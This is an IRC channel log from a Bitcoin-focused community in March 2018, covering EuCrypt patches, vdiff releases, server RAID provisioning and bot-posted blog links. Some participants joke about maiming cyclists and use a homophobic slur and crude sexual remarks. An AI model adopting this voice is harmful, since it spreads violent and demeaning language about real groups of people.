1786838;1520089018;deedbot;http://www.dianacoman.com/2018/03/03/eucrypt-correcting-bounds-error-in-keccak-word-level/ << Ossasepia - EuCrypt: Correcting Bounds Error in Keccak (Word-Level)
1786839;1520089481;diana_coman;phf, fixing .vpatch ^
1786840;1520090537;phf;ty, also http://btcbase.org/log/2018-03-03#1786835 is a solid scheme, and i wouldn't want to see it go, i'll just be more attentive in the future
1786841;1520090537;a111;Logged on 2018-03-03 07:58 diana_coman: mod6,  thank you for the detailed write-up on the vpatch issue; I'm not sure it makes sense or even helps to name as "chapters" fixes so people don't miss them in the future since this happened with the mpi_fix before just the same
1786842;1520094060;mod6;<+diana_coman> this one: http://www.dianacoman.com/2018/02/20/eucrypt-corecting-error-in-oaep-check/ << this seems to have fixed it
1786843;1520094149;mod6;http://p.bvulpes.com/pastes/Vyduq/?raw=true
1786844;1520094184;mod6;Thanks diana_coman
1786845;1520094565;deedbot;http://qntra.net/2018/03/dublin-looters-destroy-grocery-store/ << Qntra - Dublin Looters Destroy Grocery Store
1786846;1520094799;deedbot;http://trilema.com/2018/titless/ << Trilema - Titless.
1786847;1520096673;mircea_popescu;the qntra-trilema publishing sincronicity is becoming lulzy.
1786848;1520096782;BingoBoingo;4srs
1786849;1520097053;BingoBoingo;Also very healthy and handy. After diving into the newsmines having something to wipe the brain clean with is very convenient.
1786850;1520097275;deedbot;http://qntra.net/2018/03/mining-rigs-heist-in-iceland-arrests-made-by-no-material-recovered/ << Qntra - Mining Rigs Heist In Iceland: Arrests Made By No Material Recovered
1786851;1520097303;BingoBoingo;title fxd
1786852;1520101666;mircea_popescu;BingoBoingo  http://qntra.net/2018/01/qntra-s-qntr-september-2017-report/ << why is this so broken ?
1786853;1520101858;BingoBoingo;Fuck, I will get the numbers right. Was banged out immediately after getting Qntra box plugin ready.
1786854;1520102167;mircea_popescu;ben_vulpes what's qntra hosting cost btw ?
1786855;1520102852;ben_vulpes;that box is hosting both qntra and pizarro's web presence, and then on top of that it's splitting a 1u with another piece of hardware (right BingoBoingo ?), so something hilarious like .003 btc this month? i was planning to host it as a service to the republic tbh, especially since the machine it's on is running pizarro's website as well
1786856;1520102875;ben_vulpes;mircea_popescu: ^^
1786857;1520102938;mircea_popescu;seems reasonable.
1786858;1520102955;mircea_popescu;!~ticker --market all
1786859;1520102961;jhvh1;mircea_popescu: Bitstamp BTCUSD last: 11465.0, vol: 7704.09221024 | Bitfinex BTCUSD last: 11475.0, vol: 29834.79316368 | Kraken BTCUSD last: 11473.8, vol: 4828.26912086 | Volume-weighted last average: 11473.0448334
1786860;1520102965;mircea_popescu;!~calc .003 * 11473.0448334
1786861;1520102967;jhvh1;mircea_popescu: .003 * 11473.0448334 = 34.4191345002
1786862;1520103021;ben_vulpes;which is absurd for a wp, hence why i was just going to eat it
1786863;1520103043;mircea_popescu;like a vps, whatevers, not that bad.
1786864;1520103163;deedbot;http://trilema.com/2018/qntra-sqntr-september-2017-february-2018-statement/ << Trilema - Qntra (S.QNTR) September 2017 - February 2018 Statement
1786865;1520103174;mircea_popescu;^ shares added too.
1786866;1520103361;BingoBoingo;ben_vulpes: Yeah, the Qntra box and switch both fit in 1U by power draw, and when your hands are here so and not to drop anything, physically to according to TomServo's suggestion
1786867;1520103442;BingoBoingo;!!deed http://p.bvulpes.com/pastes/K2TsE/?raw=true
1786868;1520103445;deedbot;accepted: 1
1786869;1520103557;BingoBoingo;http://qntra.net/2018/01/qntra-s-qntr-september-2017-report/ << unbroken
1786870;1520104025;*;BingoBoingo returns to baking post on other blog
1786871;1520104492;deedbot;http://deedbot.org/bundle-511845.txt
1786872;1520112798;deedbot;http://www.thedrinkingrecord.com/2018/03/03/privacy-and-other-re-readings/ << Bingo Blog - Privacy And Other Re-Readings
1786873;1520115164;mircea_popescu;!!pay ben_vulpes 0.006
1786874;1520115169;deedbot;Get your OTP: http://p.bvulpes.com/pastes/BTI38/?raw=true
1786875;1520115180;mircea_popescu;^ feb and march, taking us to like april 15th or something ?
1786876;1520144503;ben_vulpes;works, thanks mircea_popescu
1786877;1520144526;ben_vulpes;not ignoring your comments on feb. statement, but focusing on time sensitive matters like boxing everything up for .uy
1786878;1520144556;ben_vulpes;checklists, agendas, ensuring dominoes are lined up for the flicking upon touchdown
1786879;1520144754;ben_vulpes;http://btcbase.org/log/2018-03-01#1786683 << relatedly, asciilifeform courteously expressed a raid card along with the fuckgoatsen, with which that machines ssds will really shine, raid5 is back on the table if you would like it, please let me know by 8pm sunday utc if you'd like it in r5 instead of the previously communicated r10
1786880;1520144754;a111;Logged on 2018-03-01 20:58 mircea_popescu: http://btcbase.org/log/2018-03-01#1786614 << raid 10, sure.
1786881;1520145747;mircea_popescu;i dunno. diana_coman do you care ?
1786882;1520151388;diana_coman;mircea_popescu, not really, no
1786883;1520151472;diana_coman;raid 10 is perfectly fine
1786884;1520152774;ben_vulpes;aight will do
1786885;1520178117;cruciform;good afternoon, lords and ladies!
1786886;1520178156;cruciform;I am ready to pay tribute to the republic - please advise as to the address to remit payment
1786887;1520178412;BingoBoingo;cruciform: http://thebitcoin.foundation/treasurer_contract.html
1786888;1520178438;cruciform;BingoBoingo: thanks!
1786889;1520180521;mod6;Thanks cruciform!
1786890;1520192755;deedbot;http://trilema.com/2018/le-salaire-de-lidiotie/ << Trilema - Le salaire de l'idiotie
1786891;1520213591;mod6;Ladies and Gentlemen of The Most Serene Republic, The Bitcoin Foundation presents The State of Bitcoin Address for February: http://therealbitcoin.org/ml/btc-dev/2018-March/000292.html
1786892;1520217339;mircea_popescu;in other random lulz, https://news.ycombinator.com/item?id=9562597 turns into https://news.ycombinator.com/item?id=11417018 ; from may to april. and yet the pantsuit within the enraged STILL credits pantsuit "academia" with the transformation.
1786893;1520217859;mod6;:D
1786894;1520218028;mircea_popescu;i r entertaint.
1786895;1520218066;mircea_popescu;"Virtue signaling persists only because too few of us are willing to speak out against it. The good news is that I've noticed an increasing amount of opposition to political correctness culture in the FOSS world. We're fighting back, and we're winning, albeit slowly."
1786896;1520218099;mircea_popescu;~THEY~ r fighting back! and winning! so sez hackernews profile in feb 2016 ; hasn't really been heard from in a coupla years. for so much wins.
1786897;1520220556;deedbot;http://trilema.com/2018/no-such-labs-snsa-february-2018-statement/ << Trilema - No Such lAbs (S.NSA), February 2018 Statement
1786898;1520220656;asciilifeform;+ http://trilema.com/2018/no-such-labs-snsa-february-2018-statement/#comment-124803
1786899;1520221235;*;mod6 reads
1786900;1520222142;mircea_popescu;asciilifeform ah i see!
1786901;1520223048;ben_vulpes;https://www.vice.com/en_us/article/a34n54/modern-monetary-theory-explained << everything must be free
1786902;1520225205;lobbes;in lobbes' hopper updates: I think I will need to refocus on first wrapping my head around V before moving too much further with my download-archive-zips-o-tron. This is due to the newly illuminated (to me) causes of:  1) in order to solve the duplicate problem (which needs solving before I can ethically charge for files), I will -eventually- need to leverage Republican authored solutions (e.g. http://btcbase.org/log/2018-02-24#1785983). 2) if I'
1786903;1520225205;a111;Logged on 2018-02-24 21:40 mircea_popescu: it's going to get built tho, he'll need a binary tree model, a merkle tree-izer, and an elastic hash-er for sure.
1786904;1520225205;lobbes;m going to be a proper Lord of the Republic, I need to be able to wield the most fundamental of Republican tools
1786905;1520225209;lobbes;so my current side-quest is to get ave1's mp-wp pressed and working (I have php 5.6 on my test machine so this should come in handy). lobbesblog right now is all 'manual html' with 'manual comments' a la dpb's, so I'ma need a more automated comments/publishing mechanism anyway. This oughta kill two birds with one stone, with added benefit that I can publish a n00b guide with notes on journey.
1786906;1520225569;lobbes;though right now I'm still stepping through alf's v99 (v.py), which has been a useful learning tool thus far
1786907;1520227200;mircea_popescu;lobbes that's not even the cannonical item ; hanbot is working on a no-binary genesis for it on phf's new version vdiff.
1786908;1520227237;mircea_popescu;which i don't even recall, was it released yet or ?
1786909;1520227860;ben_vulpes;yes but then no
1786910;1520227925;mircea_popescu;cannes, you know, "un certain release"
1786911;1520228127;ben_vulpes;diana_coman, mircea_popescu: i apologize for the hysteresis in server specs, but i failed to procure the cable i need for the high-throughput raid card in time to board tomorrow. i'm provisioning the machine reserved for your use with a software raid10 for installation this week, but you have the option to wait an uncertain amount of time for me to get the cable down to the dc and reprovision it with a much
1786912;1520228129;ben_vulpes;faster hardware raid array. your choice.
1786913;1520228151;mircea_popescu;o ffs. software raid ~= virtual blowjob.
1786914;1520228161;ben_vulpes;i apologize sincerely.
1786915;1520228185;ben_vulpes;i can also abort this provisioning run and install directly to the ssd if you'd prefer
1786916;1520228188;mircea_popescu;will hafta get back to you on this, but tis kinda meh!
1786917;1520228196;ben_vulpes;i deeply agree.
1786918;1520228205;mircea_popescu;install directly to the what now ?
1786919;1520228242;ben_vulpes;well there are 4 ssds in the machine, i can install an os to one of them and let you mount the other three however you'd like
1786920;1520228286;mircea_popescu;i don';t get it, what's os installing to do with anything ?
1786921;1520228442;ben_vulpes;'tis at least a usable machine, if sw raid is so abhorrent; thought the option was worth offering. doesn't sound like you have any interest though.
1786922;1520228489;mircea_popescu;well, this is a fundamental, at least to me, service pizarro is offering, GENUINE raid. ie, raid installed by republican hands out of genuine components etc.
1786923;1520228516;mircea_popescu;pantsuit implementations, be they software or dubiola are all kinda akin from this perspective. akin to nothing at all, that is.
1786924;1520228567;ben_vulpes;very useful feedback in nailing down hardware spec, ty
1786925;1520228580;mircea_popescu;when are you leaving anyway ?
1786926;1520228592;ben_vulpes;tomorrow, late
1786927;1520228626;mircea_popescu;an' no raid cables to be found in cascadia ?!
1786928;1520228651;ben_vulpes;this is the ass end of nowhere, populated entirely by apple fanbois
1786929;1520228678;mircea_popescu;hm.
1786930;1520228818;ben_vulpes;think fairbanks but with even fewer useful people
1786931;1520228834;ben_vulpes;i have like 2 long shots to try tomorrow
1786932;1520228853;mircea_popescu;prolly worth fedexing one to uy address.
1786933;1520228901;ben_vulpes;that is one of the things i'm going to try, yeah
1786934;1520228929;ben_vulpes;also walking the list of craigslist server vendors emailing any that look halfway competent to see if they have what i need
1786935;1520228932;ben_vulpes;"vendors"
1786936;1520228943;ben_vulpes;kids disposing of retired servers from the office, really
1786937;1520230921;mircea_popescu;who could have ever guessed this economy of the future wasn't going to be all that.
1786938;1520265695;deedbot;http://qntra.net/2018/03/italian-election-results-raise-possibility-of-italeave-coalition-government/ << Qntra - Italian Election Results Raise Possibility of #Italeave Coalition Government
1786939;1520267239;mircea_popescu;holy shit, ciclists aren't people.
1786940;1520267277;mircea_popescu;so if one day i decide to play golf in the fucking road, that's it, everyone's stuck accomodating my 10mph electric golf cart (in the best of cases, but more generally my 1.2 mph half blind 165yo caddy) ?
1786941;1520267317;mircea_popescu;fuck that dumb shit, i don't care some slick scammer sold them on the idea it's a conveyance. it's not more of a conveyance than any fucking kitchen robot, that also sorta-kinda moves around on the countertop.
1786942;1520267337;mircea_popescu;i don't see any fucking roman oxcarts plaguing the highways, and i'd better fucking not see any more of these hipster doofuses either.
1786943;1520267395;ben_vulpes;someday riding down offending cyclists will no longer be frowned upon and the world will rejoice
1786944;1520267447;mircea_popescu;word, ima get a cowgrate on my car, except for the other sort of cow.
1786945;1520267481;mircea_popescu;not even ride them down per se, let nature take its course and cripple them instead.
1786946;1520267492;ben_vulpes;i'm going to go for the wheel-mounted blades
1786947;1520267503;mircea_popescu;hopefully get eaten by dingo pack. in the usual fashion dingos hunt, ie evisceration.
1786948;1520267520;*;ben_vulpes off on last-ditch shot at component sourcing
1786949;1520267524;mircea_popescu;gl
1786950;1520267537;ben_vulpes;in the middle of rush hour no less
1786951;1520267543;mircea_popescu;10 am ?!
1786952;1520267615;ben_vulpes;folks are lazy here
1786953;1520267619;mircea_popescu;jaysus
1786954;1520267623;ben_vulpes;it's 830, actually
1786955;1520267628;mircea_popescu;oh
1786956;1520267637;*;ben_vulpes once did time in a shop where folks struggled to make the daily check in at 10a
1786957;1520267638;mircea_popescu;sometimes i forget this land flattens out towards teh anus.
1786958;1520267798;BingoBoingo;<ben_vulpes> it's 830, actually << Ah, you are only traveling 5 hours into the future this week.
1786959;1520267901;mircea_popescu;in other news, nikki cardenas (kink.com bills her "skylar price" for some incomprehensible reason) has a great gangbang personality.
1786960;1520268951;BingoBoingo;!~ticker --market all
1786961;1520268959;jhvh1;BingoBoingo: Bitstamp BTCUSD last: 11511.19, vol: 10048.11870520 | Bitfinex BTCUSD last: 11517.0, vol: 28010.94120019 | Kraken BTCUSD last: 11520.0, vol: 4572.39132924 | Volume-weighted last average: 11515.9523604
1786962;1520271007;mircea_popescu;!!up bvulpes_about
1786963;1520271007;deedbot;bvulpes_about voiced for 30 minutes.
1786964;1520271016;bvulpes_about;thx
1786965;1520271031;bvulpes_about;!~ticker --market all
1786966;1520271039;jhvh1;bvulpes_about: Bitstamp BTCUSD last: 11518.86, vol: 10090.23300143 | Bitfinex BTCUSD last: 11512.0, vol: 27967.2515064 | Kraken BTCUSD last: 11515.0, vol: 4614.54323181 | Volume-weighted last average: 11513.9465358
1786967;1520271615;mod6;:]
1786968;1520274171;phf;http://btcbase.org/log/2018-03-05#1786908 http://btcbase.org/log/2018-03-05#1786909 << must've been some miscommunication on my part, but both sha and keccak versions of vdiff, in working state, have been out since last wednesday
1786969;1520274171;a111;Logged on 2018-03-05 05:20 mircea_popescu: which i don't even recall, was it released yet or ?
1786970;1520274171;a111;Logged on 2018-03-05 05:31 ben_vulpes: yes but then no
1786971;1520274247;phf;the release have been branched, and you press to two different heads if you want a sha or keccak version, but specifically for hanbot's purposes, sha vdiff is available, with the "no newline" issue fixed, as per http://barksinthewind.com/2018/vtools-keccak/#selection-95.221-99.40
1786972;1520274841;phf;spyked reported another C attribute annotation issue since then http://btcbase.org/log/2018-03-01#1786600 , but it's yet another compiler/system combination problem, and those who managed to build c vdiff previously should be able to do so still (sans the noreturn and 'no newline' issues)
1786973;1520274841;a111;Logged on 2018-03-01 13:52 spyked: anyway, comment was that I managed to compile and run vdiff with small mods; error: http://p.bvulpes.com/pastes/BiBTI/?raw=true and fix patch: http://p.bvulpes.com/pastes/9mOiz/?raw=true (tested this with the generated vdiff); I can try to link this reply later in a comment to test.
1786974;1520275067;mircea_popescu;aha! cool.\
1786975;1520277818;deedbot;http://trilema.com/2018/friendly-persuasion/ << Trilema - Friendly Persuasion
1786976;1520278460;ben_vulpes;woo i have the raid cable
1786977;1520278474;mod6;YAY!
1786978;1520278491;mod6;it was a hunting job, but pretty excited we sourced that.
1786979;1520278510;trinque;ha!
1786980;1520278876;BingoBoingo;Congrats
1786981;1520278980;mircea_popescu;lol tell me,
1786982;1520278983;mircea_popescu;HOW DOES IT FEEL
1786983;1520279151;mod6;like a blue monday
1786984;1520279172;ben_vulpes;hue
1786985;1520287720;mircea_popescu;!!up steitz
1786986;1520287720;deedbot;steitz voiced for 30 minutes.
1786987;1520290839;diana_coman;http://btcbase.org/log/2018-03-05#1786939 <- uhm, hmm, dunno, in South Tyrol they have those great cycling tracks *not in the road of course, completely separate* and it's absolutely great for a day thing: get on bike, cycle up and down the Dolomites for some 2-3 hours, get to a lake, have a rest and a swim, go back in 45 minutes (mostly downhill, fun like hell), sleep like a log
1786988;1520290839;a111;Logged on 2018-03-05 16:27 mircea_popescu: holy shit, ciclists aren't people.
1786989;1520291043;diana_coman;sort of the skiing of summer in that region I'd say; but to the point: cyclists are perfectly people but they don't ride alongside cars - why would one *want* to ride a bicycle among/between/alongside cars, it's nonsense quadrupled
1786990;1520291072;ben_vulpes;THE ADRENALINE
1786991;1520291084;diana_coman;while breathing exhaust fumes? wtf
1786992;1520291101;diana_coman;adrenaline: go down some forest path narrow and steep; plenty
1786993;1520291123;ben_vulpes;look i'm not arguing that young me was particularly bright or that things have changed much, ok?
1786994;1520291143;diana_coman;did you grow up in some big city?
1786995;1520291161;ben_vulpes;well, "big", 1.5M if you count most of the exurbs as well
1786996;1520291172;diana_coman;yeah, that might explain it of sorts
1786997;1520291206;ben_vulpes;mountain biking was a weekend trip sort of thing
1786998;1520291236;ben_vulpes;there was a lot of fun unused industrial area along the river for quite some time that yielded all sorts of bikefun, but it's been largely sanitized at this point.
1786999;1520291244;*;diana_coman used to do precisely as described cycling + swimming; that's the main part she's missing of South Tyrol
1787000;1520291297;diana_coman;well, the very sunny part was included
1787001;1520291304;ben_vulpes;sounds great; there was also plenty of biking along the river and jumping in at arbitrary points to be done but! on segregated paths
1787002;1520291371;diana_coman;so not enough adrenaline then? on those segregated paths?
1787003;1520291394;ben_vulpes;no those are downright idyllic
1787004;1520291400;ben_vulpes;gotta get into traffic if you have a death wish
1787005;1520291457;diana_coman;heh, I still quite distinctly remember some crazy-speed-racing-bikes on those segregated paths; not exactly idyllic, no
1787006;1520291475;diana_coman;granted, no motors though, no vroom-vroom
1787007;1520291491;ben_vulpes;"springwater corridor" is plenty wide enough for the speed demons to breeze in between groups riding two abreast
1787008;1520291526;ben_vulpes;these days folks strap lipos to the bicycles and haul ass at ~motorcycle speeds
1787009;1520291529;diana_coman;must be the crowded Europe then: never enough space for lack of adrenaline, lol
1787010;1520291570;diana_coman;what's a lipo?
1787011;1520291571;*;ben_vulpes would like to try
1787012;1520291575;ben_vulpes;"lithium polymer"
1787013;1520291584;diana_coman;oh
1787014;1520291604;diana_coman;but uhm, what's...the...point
1787015;1520291611;diana_coman;I mean: get a motorcycle then, no?
1787016;1520291629;ben_vulpes;why not take a motorcycle on the bike track for that matter
1787017;1520291652;ben_vulpes;motorbikes don't fit in the bike lockup facilities downtown
1787018;1520291656;ben_vulpes;also licensing
1787019;1520291712;diana_coman;so then getting something almost like a motorcycle but not quite and in any case as fast but pretending to be still a bike; sheesh
1787020;1520291740;diana_coman;an atv as well I suppose, why not
1787021;1520291946;ben_vulpes;it gets worse, not even as fast!
1787022;1520292072;diana_coman;lol!
1787023;1520292116;BingoBoingo;And lacks cool mudding tread pattern of ATV tires too!
1787024;1520294251;ben_vulpes;!!up renard_abroad
1787025;1520294251;deedbot;renard_abroad voiced for 30 minutes.
1787026;1520294316;renard_abroad;!!register http://p.bvulpes.com/pastes/aKjE5/?raw=true
1787027;1520294319;deedbot;1CB7AA4A4EE853A13200BEDFD8BE9DB881C26117 registered as renard_abroad.
1787028;1520294325;ben_vulpes;!!down renard_abroad
1787029;1520294343;ben_vulpes;!!rate renard_abroad 1 travel key
1787030;1520294346;deedbot;Get your OTP: http://p.bvulpes.com/pastes/1pnqm/?raw=true
1787031;1520294376;ben_vulpes;!!v 08E7343D2F2CEB66189E5F37187343373C35811A84A6A70BAE73A8476E6D7A26
1787032;1520294377;deedbot;ben_vulpes rated renard_abroad 1 << travel key
1787033;1520295550;mircea_popescu;diana_coman yes, well, sanity comes a pound per tenton among bipedals.
1787034;1520307837;mircea_popescu;in other holy shit diversity : there is a FIG melon in this country. it has... spikes.
1787035;1520307841;mircea_popescu;the spiked fig melon. that's right.
1787036;1520319494;mircea_popescu;and in other materia obscura, http://law.di.unimi.it/software.php#buging
1787037;1520335654;diana_coman;ave1, I tried compiling eucrypt & components using your runtime: need support for Interfaces.C (used by keccak/oaep) and Ada.Unchecked_Conversion (used by Serpent)
1787038;1520335749;diana_coman;fwiw the footprint of eucrypt with default runtime is 215K (separate components: mpi 109K; bit_keccak 17K; keccak 42K; rsa 19K; serpent 20K - 31K (depending on level of optimisation chosen)
1787039;1520335859;diana_coman;I'm using gprbuild 2016 with gcc 4.9.4, both from adacore
1787040;1520336483;diana_coman;!!v 5741268585B87EBBBEA12E619EB421FC629C369A76F153F5CCB68EFE3348204E
1787041;1520336484;deedbot;diana_coman rated ave1 2 << useful and clearly reported work on ada & ada+c; writes at ave1.org
1787042;1520337124;diana_coman;trinque, what do I need to do to add ave1's www to deedbot's list? http://btcbase.org/log/2018-02-19#1784953 ; I really would have liked to have seen http://ave1.org/2018/sending-arrays-of-octets-between-c-and-ada/ when it was published, last week; or did I miss it in the logs somehow?
1787043;1520337124;a111;Logged on 2018-02-19 13:25 diana_coman: also: is ave1's blog in the rss list? I find it quite useful
1787044;1520337277;ave1;diana_coman, I have a version that has both files, but not published yet. It is not hard to make, copy from the runtime dir the files: i-c.ads, i-c.adb (for Interfaces.C) and a-unccon.ads. Then edit i-c.ads and i-c.adb
1787045;1520337299;ave1;The function versions of To_Ada and To_C need to be removed + exceptions raised
1787046;1520337358;ave1;Then, smg_serpent self_test procedure needs to be function and raised removed
1787047;1520337568;ave1;Well, maybe not so easy, I will publish patch (but probably next week)
1787048;1520340601;ave1;After that, as it turns out, ada still produces some code which is not supported by the zfp lib. I fixed some of this, but this is very much a build - add some code - retry cycle and that will take some time.
1787049;1520340679;ave1;For example the zfp lib is not really written (at this moment) for a C main program, so 'adafinal' is missing.
1787050;1520342650;diana_coman;ave1, take your time on it; just publish when it's ready and I'll give it another go
1787051;1520342696;diana_coman;I am not using To_Ada or To_C so they can be removed, not an issue
1787052;1520342785;diana_coman;as to the serpent_self_test procedure - it can in principle even go away entirely as there is an equivalent test in the tests dir where tests should be anyway; the self_test is left mainly because it was in the original, but not crucial in any case
1787053;1520347245;mircea_popescu;in other sad news, holy shit the http://trilema.com/2018/minigame-smg-january-2018-statement/ was utterly broken (and nobody said anything!!!) hence the delay with this month's report. will be publishing a restated version of the jan one too.
1787054;1520347432;trinque;diana_coman: you ask. happy to add it. sec
1787055;1520348081;deedbot;http://qntra.net/2018/03/public-bailout-of-bezo-bungle-continues-in-indiana/ << Qntra - Public Bailout Of Bezo Bungle Continues In Indiana
1787056;1520348638;deedbot;http://ave1.org/2018/building-gnat-on-musl/ << ave1 - Building GNAT on MUSL
1787057;1520348638;deedbot;http://ave1.org/2018/building-gnat-on-musl-now-with-a-signature/ << ave1 - Building GNAT on MUSL, now with a signature
1787058;1520348638;deedbot;http://ave1.org/2018/on-ffa-chapter-1/ << ave1 - On FFA Chapter 1
1787059;1520348638;deedbot;http://ave1.org/2018/gnat-and-pragma-inline_always-a-report/ << ave1 - GNAT and Pragma Inline_Always: A report
1787060;1520348638;deedbot;http://ave1.org/2018/mp-wp-a-genesis/ << ave1 - MP-WP, a genesis
1787061;1520348639;deedbot;http://ave1.org/2018/on-ffa-chapter-2/ << ave1 - On FFA Chapter 2
1787062;1520348639;deedbot;http://ave1.org/2018/from-the-proverbial-peanut-gallery/ << ave1 - From the proverbial Peanut Gallery
1787063;1520348640;deedbot;http://ave1.org/2018/gnat-and-zero-foot-print-runtimes/ << ave1 - GNAT and Zero Foot Print Runtimes
1787064;1520348640;deedbot;http://ave1.org/2018/sending-arrays-of-octets-between-c-and-ada/ << ave1 - Sending arrays of octets between C and Ada
1787065;1520348678;mircea_popescu;i didn't know non-romanian speakers even knew the word "octet"
1787066;1520348682;mircea_popescu;where'you from ave1 ?!
1787067;1520349350;deedbot;http://trilema.com/2018/minigame-smg-february-2018-statement/ << Trilema - MiniGame (S.MG), February 2018 Statement
1787068;1520350790;mircea_popescu;in other lulz : the people who debuted in porn this year are... 70% male.
1787069;1520350815;mircea_popescu;i expect porn is very much going the way of fashion, or academia : first, faggots get a hold of it, then... nobody would touch it with a ten foot pole.
1787070;1520353845;diana_coman;thanks trinque
1787071;1520354063;trinque;yw
1787072;1520355311;*;asciilifeform has at least a mild hint of bureaucracy flavour associated in head with 'octet' -- the word is mandatory in rfc txt's
1787073;1520357574;mircea_popescu;leftover from a day when http://btcbase.org/log/2017-12-29#1760685 was a lot clearer.
1787074;1520357574;a111;Logged on 2017-12-29 15:44 mircea_popescu: but not on "byte" meaning anything other than what it does, which is to say... "how much the machine takes in at a time"
1787075;1520357615;mircea_popescu;as opposed to word (how much is needed to compose a complete address) and so on.
1787076;1520362053;deedbot;http://qntra.net/2018/03/pantsuit-nashville-mayor-resigns-while-admitting-to-theft/ << Qntra - Pantsuit Nashville Mayor Resigns While Admitting To Theft
1787077;1520362972;mircea_popescu;not, notably, CORRUPTION
1787078;1520363042;BingoBoingo;Well, notably
1787079;1520363340;BingoBoingo;When dem hollywood boys do it "Exploitation!" when pantsuit does it "wage theft"
1787080;1520363558;BingoBoingo;Why no outrage for the poor suffering Sergeant who had to convincingly pretend enthusiasm when banging it out with a bag old enough that she had a mid-20's adult son die from terminal reddit/opiods last year.
1787081;1520364166;mircea_popescu;you know ?
1787082;1520364263;BingoBoingo;Pretty sure that's actually in the stankred pantsuit texts: Power differential sex abuse.
1787083;1520364680;mircea_popescu;yes but http://trilema.com/2018/memoranda-of-congress/#selection-157.595-159.101
1787084;1520364684;mircea_popescu;this is the limit where it must stop!
1787085;1520365682;mircea_popescu;𝕯𝖊𝖓 𝖔𝖋 𝕯𝖊𝖙𝖊𝖗𝖒𝖎𝖓𝖊𝖉 𝕯𝖆𝖒𝖘𝖊𝖑𝖘
1787086;1520365700;mircea_popescu;nice phf.
1787087;1520365718;mircea_popescu;2017-02-04 23:23 ec changed the topic of #elliottcable to: a 𝕯𝖊𝖓 𝖔𝖋 𝕯𝖊𝖙𝖊𝖗𝖒𝖎𝖓𝖊𝖉 𝕯𝖆𝖒𝖘𝖊𝖑𝖘 slash s͔̞u͕͙p͙͓e̜̺r̼̦i̼̜o̖̬r̙̙ c̝͉ụ̧͘ḷ̡͙ţ͓̀ || #ELLIOTTCABLE is not about ELLIOTTCABLE
1787088;1520365718;BingoBoingo;Well, one small herd of boxes on its way here. Hopefully this time we've assembled the men and talents necessary to secure and sustain a digital space from which to serve the notices of hanging.
1787089;1520365787;mircea_popescu;gl!
1787090;1520365910;BingoBoingo;Hoping here that Señor Vulpes arrives intact and ready to deliver good news.
1787091;1520366638;ave1;http://btcbase.org/log/2018-03-06#1787066, I'm from and in The Netherlands.
1787092;1520366638;a111;Logged on 2018-03-06 15:04 mircea_popescu: where'you from ave1 ?!
1787093;1520366668;mircea_popescu;cheers.
1787094;1520366670;ave1;Remembered octets when this came up in the discussion.
1787095;1520369982;mircea_popescu;meanwhile in other lulz, https://robek.world/featured/what-is-gnu-social-and-is-mastodon-social-a-twitter-clone/
1787096;1520370571;mircea_popescu;and for the crit lit / media experts, here's a conundrum : cool it carol, easily the best movie made in the 70s and one of the best movies ever, came out 1970. in 1971, "plaza suite" featuring matthau and various women has a segment dedicated to this anti-carol (mimsy), a dumb murican priss who locks herself in bathroom on her wedding day. the clou of the entire production is made into some schmuck (almost as ugly as rob askw
1787097;1520370572;mircea_popescu;ith, and certainy with the same bad hair) knocking on her door and saying "mimsy ? cool it!" so matthau can lay into them with "he went to college for four years and all he's got is cool it ?!".
1787098;1520370577;mircea_popescu;now... is this a reference or ain't it ?
1787099;1520371534;asciilifeform;http://btcbase.org/log/2018-03-06#1787095 << old noose, http://btcbase.org/log/2017-04-07#1640230 , http://btcbase.org/log/2017-11-23#1742487 , afaik long dead
1787100;1520371534;a111;Logged on 2018-03-06 20:59 mircea_popescu: meanwhile in other lulz, https://robek.world/featured/what-is-gnu-social-and-is-mastodon-social-a-twitter-clone/
1787101;1520371534;a111;Logged on 2017-04-07 19:37 asciilifeform: ben_vulpes: here's an even worse, https://mastodon.social
1787102;1520371534;a111;Logged on 2017-11-23 16:20 phf: re upstack, there's been a resurgence of sorts of gopher protocol, various hipsters spinning up personal websites, etc. whether the resurgence was shortlived or i'm just late to the game, but there's already a community of wreckers (one of them groups is coming from this federated twitter platform, mastodon) discussing all the various ways that they want to "improve" gopher, tls, utf-8, markdown renderer, "minimal subset of html", etc. but at the same
1787103;1520371574;mircea_popescu;asciilifeform got brought up in #picolisp which is why i bothered.
1787104;1520371593;*;mircea_popescu is engaged in a review of freenode channels, article to follow.
1787105;1520371647;*;asciilifeform remembers a lengthy picolisp thread, but either forgot or did not know , that it had own chan
1787106;1520371679;mircea_popescu;seems kinda social.
1787107;1520371724;mircea_popescu;meanwhile in ##openfpga, "<mithro> mircea_popescu: symbiflow.github.io -- what I'm spending all my spare time on"
1787108;1520371762;mircea_popescu;https://irclog.whitequark.org/~h~openfpga/2018-03-06#21488103 context.
1787109;1520372113;mircea_popescu;!!up nonlinear
1787110;1520372113;deedbot;nonlinear voiced for 30 minutes.
1787111;1520372159;nonlinear;Oh, Hi mircea_popescu just stumbled in here, and reading trilema.com to get a sense
1787112;1520372167;mircea_popescu;enjoy.
1787113;1520372185;mircea_popescu;though sense is usually an emergent property of half a year to a year's exploration
1787114;1520372271;mircea_popescu;meanwhile in #picolisp lulz, https://devco.re/blog/2018/03/06/exim-off-by-one-RCE-exploiting-CVE-2018-6789-en/
1787115;1520372287;asciilifeform;mircea_popescu: re the xilinx reversing attempt , http://btcbase.org/log/2018-01-11#1769036 << prev thread
1787116;1520372287;a111;Logged on 2018-01-11 16:49 apeloyee: http://btcbase.org/log/2018-01-04#1764242 << do I understand correctly that there's nowhere to store the result, as there seems to be enough hw adders in an 'ice'?also, it seems that the same authors are trying to reverse some xilinx nao: https://symbiflow.github.io/
1787117;1520372306;mircea_popescu;o hey, it WAS mentioned!
1787118;1520372343;nonlinear;Yes, that seems about right from what I have seen so far. Exploration is a good term, and enjoyable.
1787119;1520372349;asciilifeform;iirc same author as 'icestorm'
1787120;1520372363;mircea_popescu;aha. goes by mithro ; i pinged him with it.
1787121;1520372364;nonlinear;Oh, I hope an opensource flow for Xilinx is achieved.
1787122;1520372379;mircea_popescu;nonlinear maybe once they're dead.
1787123;1520372418;asciilifeform;the seekrit tricky bit , is that if you can't compute an ~exact~ delay path, in nsec, between any point 'a' and 'b' in the fabric, yer tool is ~useless
1787124;1520372447;asciilifeform;( in lattice's 'ice', the elements are homogeneous, so it was a nonproblem )
1787125;1520372474;mircea_popescu;ie you must know placement, rather exactly.
1787126;1520372482;asciilifeform;aha
1787127;1520372511;asciilifeform;( and in more 'luxurious' fpga, some components have variable delay depending on how configed , even )
1787128;1520373556;mircea_popescu;!#s "radxa.com"
